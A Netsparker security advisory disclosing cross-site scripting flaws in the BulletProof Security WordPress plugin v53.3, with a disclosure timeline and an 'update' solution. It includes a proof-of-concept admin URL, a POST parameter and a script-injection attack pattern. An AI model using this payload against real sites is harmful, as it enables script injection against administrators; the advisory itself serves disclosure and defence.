BulletProof Security 53.3 - Security Advisory - Multiple XSS Vulnerabilities

[Onur Yilmaz <onur () netsparker com>]

Information
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Advisory by Netsparker
Name: Multiple XSS Vulnerabilities in BulletProof Security
Affected Software : BulletProof Security
Affected Versions: v53.3 and possibly below
Vendor Homepage : https://wordpress.org/plugins/bulletproof-security/
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Fixed
Netsparker Advisory Reference : NS-16-004

Technical Details
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Proof of Concept URLs for XSS vulnerabilities in BulletProof Security v53.3:

URL /wordpress/wp-admin/admin.php?page=bulletproof-security/admin/security-log/security-log.php
Parameter Name user-agent-ignore
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x001E32)</scRipt>

For more information on cross-site scripting vulnerabilities read the
article Cross-site Scripting (XSS).

Advisory Timeline
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15 Mar 2016 - First Contact
23 Mar 2016 - Vendor Fixed
09 May 2016 - Advisory Released

Solution
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Update the plugni.

Credits & Authors
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These issues have been discovered by Omar Kurt while testing
Netsparker Web Application Security Scanner.

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